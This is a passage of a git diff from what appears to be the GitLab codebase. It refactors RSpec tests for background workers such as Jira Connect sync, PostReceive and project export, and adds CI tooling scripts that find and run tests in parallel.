let(:worker) { described_class.new }
@@ -19,5 +19,9 @@ RSpec.describe ImportIssuesCsvWorker do
expect { upload.reload }.to raise_error ActiveRecord::RecordNotFound
end
+
+ it_behaves_like 'an idempotent worker' do
+ let(:job_args) { [user.id, project.id, upload.id] }
+ end
end
end
diff --git a/spec/workers/jira_connect/sync_branch_worker_spec.rb b/spec/workers/jira_connect/sync_branch_worker_spec.rb
index 4aa2f89de7b..c8453064b0d 100644
--- a/spec/workers/jira_connect/sync_branch_worker_spec.rb
+++ b/spec/workers/jira_connect/sync_branch_worker_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe JiraConnect::SyncBranchWorker do
+ include AfterNextHelpers
+
describe '#perform' do
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, :repository, group: group) }
@@ -67,7 +69,7 @@ RSpec.describe JiraConnect::SyncBranchWorker do
context 'with update_sequence_id' do
let(:update_sequence_id) { 1 }
- let(:request_url) { 'https://sample.atlassian.net/rest/devinfo/0.10/bulk' }
+ let(:request_path) { '/rest/devinfo/0.10/bulk' }
let(:request_body) do
{
repositories: [
@@ -78,14 +80,13 @@ RSpec.describe JiraConnect::SyncBranchWorker do
update_sequence_id: update_sequence_id
)
]
- }.to_json
+ }
end
subject { described_class.new.perform(project_id, branch_name, commit_shas, update_sequence_id) }
it 'sends the reqeust with custom update_sequence_id' do
- expect(Atlassian::JiraConnect::Client).to receive(:post)
- .with(URI(request_url), headers: anything, body: request_body)
+ expect_next(Atlassian::JiraConnect::Client).to receive(:post).with(request_path, request_body)
subject
end
diff --git a/spec/workers/jira_connect/sync_builds_worker_spec.rb b/spec/workers/jira_connect/sync_builds_worker_spec.rb
new file mode 100644
index 00000000000..7c58803d778
--- /dev/null
+++ b/spec/workers/jira_connect/sync_builds_worker_spec.rb
@@ -0,0 +1,60 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ::JiraConnect::SyncBuildsWorker do
+ include AfterNextHelpers
+ include ServicesHelper
+
+ describe '#perform' do
+ let_it_be(:pipeline) { create(:ci_pipeline) }
+
+ let(:sequence_id) { Random.random_number(1..10_000) }
+ let(:pipeline_id) { pipeline.id }
+
+ subject { described_class.new.perform(pipeline_id, sequence_id) }
+
+ context 'when pipeline exists' do
+ it 'calls the Jira sync service' do
+ expect_next(::JiraConnect::SyncService, pipeline.project)
+ .to receive(:execute).with(pipelines: contain_exactly(pipeline), update_sequence_id: sequence_id)
+
+ subject
+ end
+ end
+
+ context 'when pipeline does not exist' do
+ let(:pipeline_id) { non_existing_record_id }
+
+ it 'does not call the sync service' do
+ expect_next(::JiraConnect::SyncService).not_to receive(:execute)
+
+ subject
+ end
+ end
+
+ context 'when the feature flag is disabled' do
+ before do
+ stub_feature_flags(jira_sync_builds: false)
+ end
+
+ it 'does not call the sync service' do
+ expect_next(::JiraConnect::SyncService).not_to receive(:execute)
+
+ subject
+ end
+ end
+
+ context 'when the feature flag is enabled for this project' do
+ before do
+ stub_feature_flags(jira_sync_builds: pipeline.project)
+ end
+
+ it 'calls the sync service' do
+ expect_next(::JiraConnect::SyncService).to receive(:execute)
+
+ subject
+ end
+ end
+ end
+end
diff --git a/spec/workers/jira_connect/sync_merge_request_worker_spec.rb b/spec/workers/jira_connect/sync_merge_request_worker_spec.rb
index b3c0db4f260..1a40aa2b3ad 100644
--- a/spec/workers/jira_connect/sync_merge_request_worker_spec.rb
+++ b/spec/workers/jira_connect/sync_merge_request_worker_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe JiraConnect::SyncMergeRequestWorker do
+ include AfterNextHelpers
+
describe '#perform' do
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, :repository, group: group) }
@@ -33,7 +35,7 @@ RSpec.describe JiraConnect::SyncMergeRequestWorker do
context 'with update_sequence_id' do
let(:update_sequence_id) { 1 }
- let(:request_url) { 'https://sample.atlassian.net/rest/devinfo/0.10/bulk' }
+ let(:request_path) { '/rest/devinfo/0.10/bulk' }
let(:request_body) do
{
repositories: [
@@ -43,14 +45,13 @@ RSpec.describe JiraConnect::SyncMergeRequestWorker do
update_sequence_id: update_sequence_id
)
]
- }.to_json
+ }
end
subject { described_class.new.perform(merge_request_id, update_sequence_id) }
it 'sends the request with custom update_sequence_id' do
- expect(Atlassian::JiraConnect::Client).to receive(:post)
- .with(URI(request_url), headers: anything, body: request_body)
+ expect_next(Atlassian::JiraConnect::Client).to receive(:post).with(request_path, request_body)
subject
end
diff --git a/spec/workers/jira_connect/sync_project_worker_spec.rb b/spec/workers/jira_connect/sync_project_worker_spec.rb
index 25210de828c..f7fa565d534 100644
--- a/spec/workers/jira_connect/sync_project_worker_spec.rb
+++ b/spec/workers/jira_connect/sync_project_worker_spec.rb
@@ -36,7 +36,7 @@ RSpec.describe JiraConnect::SyncProjectWorker, factory_default: :keep do
end
it_behaves_like 'an idempotent worker' do
- let(:request_url) { 'https://sample.atlassian.net/rest/devinfo/0.10/bulk' }
+ let(:request_path) { '/rest/devinfo/0.10/bulk' }
let(:request_body) do
{
repositories: [
@@ -46,13 +46,13 @@ RSpec.describe JiraConnect::SyncProjectWorker, factory_default: :keep do
update_sequence_id: update_sequence_id
)
]
- }.to_json
+ }
end
it 'sends the request with custom update_sequence_id' do
- expect(Atlassian::JiraConnect::Client).to receive(:post)
- .exactly(IdempotentWorkerHelper::WORKER_EXEC_TIMES).times
- .with(URI(request_url), headers: anything, body: request_body)
+ allow_next_instances_of(Atlassian::JiraConnect::Client, IdempotentWorkerHelper::WORKER_EXEC_TIMES) do |client|
+ expect(client).to receive(:post).with(request_path, request_body)
+ end
subject
end
diff --git a/spec/workers/member_invitation_reminder_emails_worker_spec.rb b/spec/workers/member_invitation_reminder_emails_worker_spec.rb
index bfd08792c7c..bb4ff466584 100644
--- a/spec/workers/member_invitation_reminder_emails_worker_spec.rb
+++ b/spec/workers/member_invitation_reminder_emails_worker_spec.rb
@@ -10,30 +10,12 @@ RSpec.describe MemberInvitationReminderEmailsWorker do
create(:group_member, :invited, created_at: 2.days.ago)
end
- context 'feature flag disabled' do
- before do
- stub_experiment(invitation_reminders: false)
+ it 'executes the invitation reminder email service' do
+ expect_next_instance_of(Members::InvitationReminderEmailService) do |service|
+ expect(service).to receive(:execute)
end
- it 'does not attempt to execute the invitation reminder service' do
- expect(Members::InvitationReminderEmailService).not_to receive(:new)
-
- subject
- end
- end
-
- context 'feature flag enabled' do
- before do
- stub_experiment(invitation_reminders: true)
- end
-
- it 'executes the invitation reminder email service' do
- expect_next_instance_of(Members::InvitationReminderEmailService) do |service|
- expect(service).to receive(:execute)
- end
-
- subject
- end
+ subject
end
end
end
diff --git a/spec/workers/namespaces/onboarding_user_added_worker_spec.rb b/spec/workers/namespaces/onboarding_user_added_worker_spec.rb
new file mode 100644
index 00000000000..03c668259f8
--- /dev/null
+++ b/spec/workers/namespaces/onboarding_user_added_worker_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Namespaces::OnboardingUserAddedWorker, '#perform' do
+ include AfterNextHelpers
+
+ let_it_be(:group) { create(:group) }
+
+ it 'records the event' do
+ expect_next(OnboardingProgressService, group)
+ .to receive(:execute).with(action: :user_added).and_call_original
+
+ expect { subject.perform(group.id) }.to change(NamespaceOnboardingAction, :count).by(1)
+ end
+end
diff --git a/spec/workers/post_receive_spec.rb b/spec/workers/post_receive_spec.rb
index 77c1d16428f..5b8d8878a99 100644
--- a/spec/workers/post_receive_spec.rb
+++ b/spec/workers/post_receive_spec.rb
@@ -3,6 +3,9 @@
require 'spec_helper'
RSpec.describe PostReceive do
+ include AfterNextHelpers
+ include ServicesHelper
+
let(:changes) { "123456 789012 refs/heads/tést\n654321 210987 refs/tags/tag" }
let(:wrongly_encoded_changes) { changes.encode("ISO-8859-1").force_encoding("UTF-8") }
let(:base64_changes) { Base64.encode64(wrongly_encoded_changes) }
@@ -18,8 +21,8 @@ RSpec.describe PostReceive do
described_class.new.perform(gl_repository, key_id, changes)
end
- context "as a sidekiq worker" do
- it "responds to #perform" do
+ context 'as a sidekiq worker' do
+ it 'responds to #perform' do
expect(described_class.new).to respond_to(:perform)
end
end
@@ -30,7 +33,7 @@ RSpec.describe PostReceive do
"Triggered hook for non-existing gl_repository \"#{gl_repository}\""
end
- it "returns false and logs an error" do
+ it 'returns false and logs an error' do
expect(Gitlab::GitLogger).to receive(:error).with("POST-RECEIVE: #{error_message}")
expect(perform).to be(false)
end
@@ -42,9 +45,7 @@ RSpec.describe PostReceive do
it 'does not log an error' do
expect(Gitlab::GitLogger).not_to receive(:error)
expect(Gitlab::GitPostReceive).to receive(:new).and_call_original
- expect_any_instance_of(described_class) do |instance|
- expect(instance).to receive(:process_snippet_changes)
- end
+ expect_next(described_class).to receive(:process_snippet_changes)
perform
end
@@ -61,13 +62,13 @@ RSpec.describe PostReceive do
end
end
- describe "#process_project_changes" do
+ describe '#process_project_changes' do
context 'with an empty project' do
let(:empty_project) { create(:project, :empty_repo) }
let(:changes) { "123456 789012 refs/heads/tést1\n" }
before do
- allow_any_instance_of(Gitlab::GitPostReceive).to receive(:identify).and_return(empty_project.owner)
+ allow_next(Gitlab::GitPostReceive).to receive(:identify).and_return(empty_project.owner)
# Need to mock here so we can expect calls on project
allow(Gitlab::GlRepository).to receive(:parse).and_return([empty_project, empty_project, Gitlab::GlRepository::PROJECT])
end
@@ -97,9 +98,9 @@ RSpec.describe PostReceive do
end
context 'empty changes' do
- it "does not call any PushService but runs after project hooks" do
+ it 'does not call any PushService but runs after project hooks' do
expect(Git::ProcessRefChangesService).not_to receive(:new)
- expect_next_instance_of(SystemHooksService) { |service| expect(service).to receive(:execute_hooks) }
+ expect_next(SystemHooksService).to receive(:execute_hooks)
perform(changes: "")
end
@@ -121,7 +122,7 @@ RSpec.describe PostReceive do
let(:push_service) { double(execute: true) }
before do
- allow_any_instance_of(Gitlab::GitPostReceive).to receive(:identify).and_return(project.owner)
+ allow_next(Gitlab::GitPostReceive).to receive(:identify).and_return(project.owner)
allow(Gitlab::GlRepository).to receive(:parse).and_return([project, project, Gitlab::GlRepository::PROJECT])
end
@@ -135,7 +136,7 @@ RSpec.describe PostReceive do
end
end
- context "branches" do
+ context 'branches' do
let(:changes) do
<<~EOF
123456 789012 refs/heads/tést1
@@ -157,9 +158,7 @@ RSpec.describe PostReceive do
end
it 'calls Git::ProcessRefChangesService' do
- expect_next_instance_of(Git::ProcessRefChangesService) do |service|
- expect(service).to receive(:execute).and_return(true)
- end
+ expect_next(Git::ProcessRefChangesService).to receive(:execute).and_return(true)
perform
end
@@ -191,7 +190,7 @@ RSpec.describe PostReceive do
end
end
- context "tags" do
+ context 'tags' do
let(:changes) do
<<~EOF
654321 210987 refs/tags/tag1
@@ -219,9 +218,7 @@ RSpec.describe PostReceive do
end
it 'calls Git::ProcessRefChangesService' do
- expect_next_instance_of(Git::ProcessRefChangesService) do |service|
- expect(service).to receive(:execute).and_return(true)
- end
+ expect_execution_of(Git::ProcessRefChangesService)
perform
end
@@ -236,7 +233,7 @@ RSpec.describe PostReceive do
it_behaves_like 'updating remote mirrors'
end
- context "merge-requests" do
+ context 'merge-requests' do
let(:changes) { "123456 789012 refs/merge-requests/123" }
it "does not call any of the services" do
@@ -250,19 +247,19 @@ RSpec.describe PostReceive do
context 'after project changes hooks' do
let(:changes) { '123456 789012 refs/heads/tést' }
- let(:fake_hook_data) { Hash.new(event_name: 'repository_update') }
+ let(:fake_hook_data) { { event_name: 'repository_update' } }
before do
- allow_any_instance_of(Gitlab::DataBuilder::Repository).to receive(:update).and_return(fake_hook_data)
+ allow(Gitlab::DataBuilder::Repository).to receive(:update).and_return(fake_hook_data)
# silence hooks so we can isolate
- allow_any_instance_of(Key).to receive(:post_create_hook).and_return(true)
- expect_next_instance_of(Git::ProcessRefChangesService) do |service|
- expect(service).to receive(:execute).and_return(true)
- end
+ allow_next(Key).to receive(:post_create_hook).and_return(true)
+ expect_execution_of(Git::ProcessRefChangesService)
end
it 'calls SystemHooksService' do
- expect_any_instance_of(SystemHooksService).to receive(:execute_hooks).with(fake_hook_data, :repository_update_hooks).and_return(true)
+ expect_next(SystemHooksService)
+ .to receive(:execute_hooks).with(fake_hook_data, :repository_update_hooks)
+ .and_return(true)
perform
end
@@ -299,7 +296,7 @@ RSpec.describe PostReceive do
end
end
- context "master" do
+ context 'master' do
let(:default_branch) { 'master' }
let(:oldrev) { '012345' }
let(:newrev) { '6789ab' }
@@ -313,18 +310,13 @@ RSpec.describe PostReceive do
let(:raw_repo) { double('RawRepo') }
it 'processes the changes on the master branch' do
- expect_next_instance_of(Git::WikiPushService) do |service|
- expect(service).to receive(:execute).and_call_original
- end
- expect(project.wiki).to receive(:default_branch).twice.and_return(default_branch)
- expect(project.wiki.repository).to receive(:raw).and_return(raw_repo)
- expect(raw_repo).to receive(:raw_changes_between).once.with(oldrev, newrev).and_return([])
+ expect_next(Git::WikiPushService).to receive(:execute)
perform
end
end
- context "branches" do
+ context 'branches' do
let(:changes) do
<<~EOF
123456 789012 refs/heads/tést1
@@ -333,9 +325,7 @@ RSpec.describe PostReceive do
end
before do
- allow_next_instance_of(Git::WikiPushService) do |service|
- allow(service).to receive(:execute)
- end
+ allow_next(Git::WikiPushService).to receive(:execute)
end
it 'expires the branches cache' do
@@ -353,24 +343,21 @@ RSpec.describe PostReceive do
end
end
- context "webhook" do
- it "fetches the correct project" do
+ context 'webhook' do
+ it 'fetches the correct project' do
expect(Project).to receive(:find_by).with(id: project.id)
perform
end
it "does not run if the author is not in the project" do
- allow_any_instance_of(Gitlab::GitPostReceive)
- .to receive(:identify_using_ssh_key)
- .and_return(nil)
-
+ allow_next(Gitlab::GitPostReceive).to receive(:identify_using_ssh_key).and_return(nil)
expect(project).not_to receive(:execute_hooks)
expect(perform).to be_falsey
end
- it "asks the project to trigger all hooks" do
+ it 'asks the project to trigger all hooks' do
create(:project_hook, push_events: true, tag_push_events: true, project: project)
create(:custom_issue_tracker_service, push_events: true, merge_requests_events: false, project: project)
allow(Project).to receive(:find_by).and_return(project)
@@ -381,11 +368,9 @@ RSpec.describe PostReceive do
perform
end
- it "enqueues a UpdateMergeRequestsWorker job" do
+ it 'enqueues a UpdateMergeRequestsWorker job' do
allow(Project).to receive(:find_by).and_return(project)
- expect_next_instance_of(MergeRequests::PushedBranchesService) do |service|
- expect(service).to receive(:execute).and_return(%w(tést))
- end
+ expect_next(MergeRequests::PushedBranchesService).to receive(:execute).and_return(%w(tést))
expect(UpdateMergeRequestsWorker).to receive(:perform_async).with(project.id, project.owner.id, any_args)
diff --git a/spec/workers/project_cache_worker_spec.rb b/spec/workers/project_cache_worker_spec.rb
index 0f91f7af255..7f42c700ce4 100644
--- a/spec/workers/project_cache_worker_spec.rb
+++ b/spec/workers/project_cache_worker_spec.rb
@@ -5,8 +5,9 @@ require 'spec_helper'
RSpec.describe ProjectCacheWorker do
include ExclusiveLeaseHelpers
+ let_it_be(:project) { create(:project, :repository) }
+
let(:worker) { described_class.new }
- let(:project) { create(:project, :repository) }
let(:lease_key) { ["project_cache_worker", project.id, *statistics.sort].join(":") }
let(:lease_timeout) { ProjectCacheWorker::LEASE_TIMEOUT }
let(:statistics) { [] }
@@ -126,4 +127,15 @@ RSpec.describe ProjectCacheWorker do
end
end
end
+
+ it_behaves_like 'an idempotent worker' do
+ let(:job_args) { [project.id, %w(readme), %w(repository_size)] }
+
+ it 'calls Projects::UpdateStatisticsService service twice', :clean_gitlab_redis_shared_state do
+ expect(Projects::UpdateStatisticsService).to receive(:new).once.and_return(double(execute: true))
+ expect(UpdateProjectStatisticsWorker).to receive(:perform_in).once
+
+ subject
+ end
+ end
end
diff --git a/spec/workers/project_export_worker_spec.rb b/spec/workers/project_export_worker_spec.rb
index defecefc3cc..9923d8bde7f 100644
--- a/spec/workers/project_export_worker_spec.rb
+++ b/spec/workers/project_export_worker_spec.rb
@@ -3,84 +3,5 @@
require 'spec_helper'
RSpec.describe ProjectExportWorker do
- let!(:user) { create(:user) }
- let!(:project) { create(:project) }
-
- subject { described_class.new }
-
- describe '#perform' do
- before do
- allow_next_instance_of(described_class) do |job|
- allow(job).to receive(:jid).and_return(SecureRandom.hex(8))
- end
- end
-
- context 'when it succeeds' do
- it 'calls the ExportService' do
- expect_next_instance_of(::Projects::ImportExport::ExportService) do |service|
- expect(service).to receive(:execute)
- end
-
- subject.perform(user.id, project.id, { 'klass' => 'Gitlab::ImportExport::AfterExportStrategies::DownloadNotificationStrategy' })
- end
-
- context 'export job' do
- before do
- allow_next_instance_of(::Projects::ImportExport::ExportService) do |service|
- allow(service).to receive(:execute)
- end
- end
-
- it 'creates an export job record for the project' do
- expect { subject.perform(user.id, project.id, {}) }.to change { project.export_jobs.count }.from(0).to(1)
- end
-
- it 'sets the export job status to started' do
- expect_next_instance_of(ProjectExportJob) do |job|
- expect(job).to receive(:start)
- end
-
- subject.perform(user.id, project.id, {})
- end
-
- it 'sets the export job status to finished' do
- expect_next_instance_of(ProjectExportJob) do |job|
- expect(job).to receive(:finish)
- end
-
- subject.perform(user.id, project.id, {})
- end
- end
- end
-
- context 'when it fails' do
- it 'does not raise an exception when strategy is invalid' do
- expect(::Projects::ImportExport::ExportService).not_to receive(:new)
-
- expect { subject.perform(user.id, project.id, { 'klass' => 'Whatever' }) }.not_to raise_error
- end
-
- it 'does not raise error when project cannot be found' do
- expect { subject.perform(user.id, non_existing_record_id, {}) }.not_to raise_error
- end
-
- it 'does not raise error when user cannot be found' do
- expect { subject.perform(non_existing_record_id, project.id, {}) }.not_to raise_error
- end
- end
- end
-
- describe 'sidekiq options' do
- it 'disables retry' do
- expect(described_class.sidekiq_options['retry']).to eq(false)
- end
-
- it 'disables dead' do
- expect(described_class.sidekiq_options['dead']).to eq(false)
- end
-
- it 'sets default status expiration' do
- expect(described_class.sidekiq_options['status_expiration']).to eq(StuckExportJobsWorker::EXPORT_JOBS_EXPIRATION)
- end
- end
+ it_behaves_like 'export worker'
end
diff --git a/spec/workers/project_schedule_bulk_repository_shard_moves_worker_spec.rb b/spec/workers/project_schedule_bulk_repository_shard_moves_worker_spec.rb
new file mode 100644
index 00000000000..aadfae51906
--- /dev/null
+++ b/spec/workers/project_schedule_bulk_repository_shard_moves_worker_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe ProjectScheduleBulkRepositoryShardMovesWorker do
+ describe "#perform" do
+ before do
+ stub_storage_settings('test_second_storage' => { 'path' => 'tmp/tests/extra_storage' })
+
+ allow(ProjectUpdateRepositoryStorageWorker).to receive(:perform_async)
+ end
+
+ let!(:project) { create(:project, :repository).tap { |project| project.track_project_repository } }
+ let(:source_storage_name) { 'default' }
+ let(:destination_storage_name) { 'test_second_storage' }
+
+ include_examples 'an idempotent worker' do
+ let(:job_args) { [source_storage_name, destination_storage_name] }
+
+ it 'schedules project repository storage moves' do
+ expect { subject }.to change(ProjectRepositoryStorageMove, :count).by(1)
+
+ storage_move = project.repository_storage_moves.last!
+
+ expect(storage_move).to have_attributes(
+ source_storage_name: source_storage_name,
+ destination_storage_name: destination_storage_name,
+ state_name: :scheduled
+ )
+ end
+ end
+ end
+end
diff --git a/spec/workers/purge_dependency_proxy_cache_worker_spec.rb b/spec/workers/purge_dependency_proxy_cache_worker_spec.rb
index 9cd3b6636f5..8379b11af8f 100644
--- a/spec/workers/purge_dependency_proxy_cache_worker_spec.rb
+++ b/spec/workers/purge_dependency_proxy_cache_worker_spec.rb
@@ -6,6 +6,7 @@ RSpec.describe PurgeDependencyProxyCacheWorker do
let_it_be(:user) { create(:admin) }
let_it_be(:blob) { create(:dependency_proxy_blob )}
let_it_be(:group, reload: true) { blob.group }
+ let_it_be(:manifest) { create(:dependency_proxy_manifest, group: group )}
let_it_be(:group_id) { group.id }
subject { described_class.new.perform(user.id, group_id) }
@@ -17,8 +18,9 @@ RSpec.describe PurgeDependencyProxyCacheWorker do
describe '#perform' do
shared_examples 'returns nil' do
- it 'returns nil' do
+ it 'returns nil', :aggregate_failures do
expect { subject }.not_to change { group.dependency_proxy_blobs.size }
+ expect { subject }.not_to change { group.dependency_proxy_manifests.size }
expect(subject).to be_nil
end
end
@@ -27,12 +29,14 @@ RSpec.describe PurgeDependencyProxyCacheWorker do
include_examples 'an idempotent worker' do
let(:job_args) { [user.id, group_id] }
- it 'deletes the blobs and returns ok' do
+ it 'deletes the blobs and returns ok', :aggregate_failures do
expect(group.dependency_proxy_blobs.size).to eq(1)
+ expect(group.dependency_proxy_manifests.size).to eq(1)
subject
expect(group.dependency_proxy_blobs.size).to eq(0)
+ expect(group.dependency_proxy_manifests.size).to eq(0)
end
end
end
diff --git a/spec/workers/releases/create_evidence_worker_spec.rb b/spec/workers/releases/create_evidence_worker_spec.rb
new file mode 100644
index 00000000000..743f2abc8a7
--- /dev/null
+++ b/spec/workers/releases/create_evidence_worker_spec.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Releases::CreateEvidenceWorker do
+ let(:project) { create(:project, :repository) }
+ let(:release) { create(:release, project: project) }
+ let(:pipeline) { create(:ci_empty_pipeline, sha: release.sha, project: project) }
+
+ # support old scheduled workers without pipeline
+ it 'creates a new Evidence record' do
+ expect_next_instance_of(::Releases::CreateEvidenceService, release, pipeline: nil) do |service|
+ expect(service).to receive(:execute).and_call_original
+ end
+
+ expect { described_class.new.perform(release.id) }.to change(Releases::Evidence, :count).by(1)
+ end
+
+ it 'creates a new Evidence record with pipeline' do
+ expect_next_instance_of(::Releases::CreateEvidenceService, release, pipeline: pipeline) do |service|
+ expect(service).to receive(:execute).and_call_original
+ end
+
+ expect { described_class.new.perform(release.id, pipeline.id) }.to change(Releases::Evidence, :count).by(1)
+ end
+end
diff --git a/spec/workers/releases/manage_evidence_worker_spec.rb b/spec/workers/releases/manage_evidence_worker_spec.rb
new file mode 100644
index 00000000000..2fbfb6c9dc1
--- /dev/null
+++ b/spec/workers/releases/manage_evidence_worker_spec.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Releases::ManageEvidenceWorker do
+ let(:project) { create(:project, :repository) }
+
+ shared_examples_for 'does not create a new Evidence record' do
+ specify :sidekiq_inline do
+ aggregate_failures do
+ expect(::Releases::CreateEvidenceService).not_to receive(:execute)
+ expect { described_class.new.perform }.to change(Releases::Evidence, :count).by(0)
+ end
+ end
+ end
+
+ context 'when `released_at` in inside the window' do
+ context 'when Evidence has not been created' do
+ let(:release) { create(:release, project: project, released_at: 1.hour.since) }
+
+ it 'creates a new Evidence record', :sidekiq_inline do
+ expect_next_instance_of(::Releases::CreateEvidenceService, release, { pipeline: nil }) do |service|
+ expect(service).to receive(:execute).and_call_original
+ end
+
+ expect { described_class.new.perform }.to change(Releases::Evidence, :count).by(1)
+ end
+ end
+
+ context 'when evidence has already been created' do
+ let(:release) { create(:release, project: project, released_at: 1.hour.since) }
+ let!(:evidence) { create(:evidence, release: release )}
+
+ it_behaves_like 'does not create a new Evidence record'
+ end
+ end
+
+ context 'when `released_at` is outside the window' do
+ let(:release) { create(:release, project: project, released_at: 300.minutes.since) }
+
+ it_behaves_like 'does not create a new Evidence record'
+ end
+end
diff --git a/spec/workers/repository_import_worker_spec.rb b/spec/workers/repository_import_worker_spec.rb
index 4a80f4f9da6..82d975cb85a 100644
--- a/spec/workers/repository_import_worker_spec.rb
+++ b/spec/workers/repository_import_worker_spec.rb
@@ -58,6 +58,7 @@ RSpec.describe RepositoryImportWorker do
subject.perform(project.id)
end.to raise_error(RuntimeError, error)
expect(import_state.reload.jid).not_to be_nil
+ expect(import_state.status).to eq('failed')
end
it 'updates the error on Import/Export' do
@@ -74,6 +75,7 @@ RSpec.describe RepositoryImportWorker do
end.to raise_error(RuntimeError, error)
expect(import_state.reload.last_error).not_to be_nil
+ expect(import_state.status).to eq('failed')
end
end
diff --git a/spec/workers/repository_remove_remote_worker_spec.rb b/spec/workers/repository_remove_remote_worker_spec.rb
index 7d66131f34e..758f7f75e03 100644
--- a/spec/workers/repository_remove_remote_worker_spec.rb
+++ b/spec/workers/repository_remove_remote_worker_spec.rb
@@ -32,7 +32,7 @@ RSpec.describe RepositoryRemoveRemoteWorker do
expect(subject)
.to receive(:log_error)
- .with("Cannot obtain an exclusive lease for #{subject.class.name}. There must be another instance already in execution.")
+ .with("Cannot obtain an exclusive lease for #{lease_key}. There must be another instance already in execution.")
subject.perform(project.id, remote_name)
end
diff --git a/spec/workers/repository_update_remote_mirror_worker_spec.rb b/spec/workers/repository_update_remote_mirror_worker_spec.rb
index 858f5226c48..ef6a8d76d2c 100644
--- a/spec/workers/repository_update_remote_mirror_worker_spec.rb
+++ b/spec/workers/repository_update_remote_mirror_worker_spec.rb
@@ -3,9 +3,8 @@
require 'spec_helper'
RSpec.describe RepositoryUpdateRemoteMirrorWorker, :clean_gitlab_redis_shared_state do
- subject { described_class.new }
+ let_it_be(:remote_mirror) { create(:remote_mirror) }
- let(:remote_mirror) { create(:remote_mirror) }
let(:scheduled_time) { Time.current - 5.minutes }
around do |example|
@@ -19,6 +18,8 @@ RSpec.describe RepositoryUpdateRemoteMirrorWorker, :clean_gitlab_redis_shared_st
end
describe '#perform' do
+ subject { described_class.new }
+
it 'calls out to the service to perform the update' do
expect_mirror_service_to_return(remote_mirror, status: :success)
@@ -68,4 +69,8 @@ RSpec.describe RepositoryUpdateRemoteMirrorWorker, :clean_gitlab_redis_shared_st
subject.perform(remote_mirror.id, scheduled_time)
end
end
+
+ include_examples 'an idempotent worker' do
+ let(:job_args) { [remote_mirror.id, scheduled_time] }
+ end
end
diff --git a/tooling/bin/find_foss_tests b/tooling/bin/find_foss_tests
deleted file mode 100755
index 9cd8a616ad0..00000000000
--- a/tooling/bin/find_foss_tests
+++ /dev/null
@@ -1,25 +0,0 @@
-#!/usr/bin/env ruby
-# frozen_string_literal: true
-
-require 'gitlab'
-require 'test_file_finder'
-
-gitlab_token = ENV.fetch('DANGER_GITLAB_API_TOKEN', '')
-
-Gitlab.configure do |config|
- config.endpoint = 'https://gitlab.com/api/v4'
- config.private_token = gitlab_token
-end
-
-output_file = ARGV.shift
-
-mr_project_path = ENV.fetch('CI_MERGE_REQUEST_PROJECT_PATH')
-mr_iid = ENV.fetch('CI_MERGE_REQUEST_IID')
-
-mr_changes = Gitlab.merge_request_changes(mr_project_path, mr_iid)
-changed_files = mr_changes.changes.map { |change| change['new_path'] }
-
-mapping = TestFileFinder::Mapping.load('tests.yml')
-test_files = TestFileFinder::FileFinder.new(paths: changed_files, mapping: mapping).test_files
-
-File.write(output_file, test_files.uniq.join(' '))
diff --git a/tooling/bin/find_tests b/tooling/bin/find_tests
new file mode 100755
index 00000000000..2c0e7ae2c53
--- /dev/null
+++ b/tooling/bin/find_tests
@@ -0,0 +1,30 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require 'gitlab'
+require 'test_file_finder'
+
+gitlab_token = ENV.fetch('DANGER_GITLAB_API_TOKEN', '')
+
+Gitlab.configure do |config|
+ config.endpoint = 'https://gitlab.com/api/v4'
+ config.private_token = gitlab_token
+end
+
+output_file = ARGV.shift
+
+mr_project_path = ENV.fetch('CI_MERGE_REQUEST_PROJECT_PATH')
+mr_iid = ENV.fetch('CI_MERGE_REQUEST_IID')
+
+mr_changes = Gitlab.merge_request_changes(mr_project_path, mr_iid)
+changed_files = mr_changes.changes.map { |change| change['new_path'] }
+
+tff = TestFileFinder::FileFinder.new(paths: changed_files).tap do |file_finder|
+ file_finder.use TestFileFinder::MappingStrategies::PatternMatching.load('tests.yml')
+
+ if ENV['RSPEC_TESTS_MAPPING_ENABLED']
+ file_finder.use TestFileFinder::MappingStrategies::DirectMatching.load_json(ENV['RSPEC_TESTS_MAPPING_PATH'])
+ end
+end
+
+File.write(output_file, tff.test_files.uniq.join(' '))
diff --git a/tooling/bin/parallel_rspec b/tooling/bin/parallel_rspec
new file mode 100755
index 00000000000..a706df69a1e
--- /dev/null
+++ b/tooling/bin/parallel_rspec
@@ -0,0 +1,19 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+require 'optparse'
+require_relative '../lib/tooling/parallel_rspec_runner'
+
+options = {}
+
+OptionParser.new do |opts|
+ opts.on("--rspec_args rspec_args", String, "Optional rspec arguments") do |value|
+ options[:rspec_args] = value
+ end
+
+ opts.on("--filter filter_tests_file", String, "Optional filename containing tests to be filtered") do |value|
+ options[:filter_tests_file] = value
+ end
+end.parse!
+
+Tooling::ParallelRSpecRunner.run(options)
diff --git a/tooling/lib/tooling/parallel_rspec_runner.rb b/tooling/lib/tooling/parallel_rspec_runner.rb
new file mode 100644
index 00000000000..b482160d3c0
--- /dev/null
+++ b/tooling/lib/tooling/parallel_rspec_runner.rb
@@ -0,0 +1,90 @@
+# frozen_string_literal: true
+
+require 'knapsack'
+
+# A custom parallel rspec runner based on Knapsack runner
+# which takes in additional option for a file containing
+# list of test files.
+#
+# When executing RSpec in CI, the list of tests allocated by Knapsack
+# will be compared with the test files listed in the file.
+#
+# Only the test files allocated by Knapsack and listed in the file
+# would be executed in the CI node.
+#
+# Reference:
+# https://github.com/ArturT/knapsack/blob/v1.20.0/lib/knapsack/runners/rspec_runner.rb
+module Tooling
+ class ParallelRSpecRunner
+ def self.run(rspec_args: nil, filter_tests_file: nil)
+ new(rspec_args: rspec_args, filter_tests_file: filter_tests_file).run
+ end
+
+ def initialize(allocator: knapsack_allocator, filter_tests_file: nil, rspec_args: nil)
+ @allocator = allocator
+ @filter_tests_file = filter_tests_file
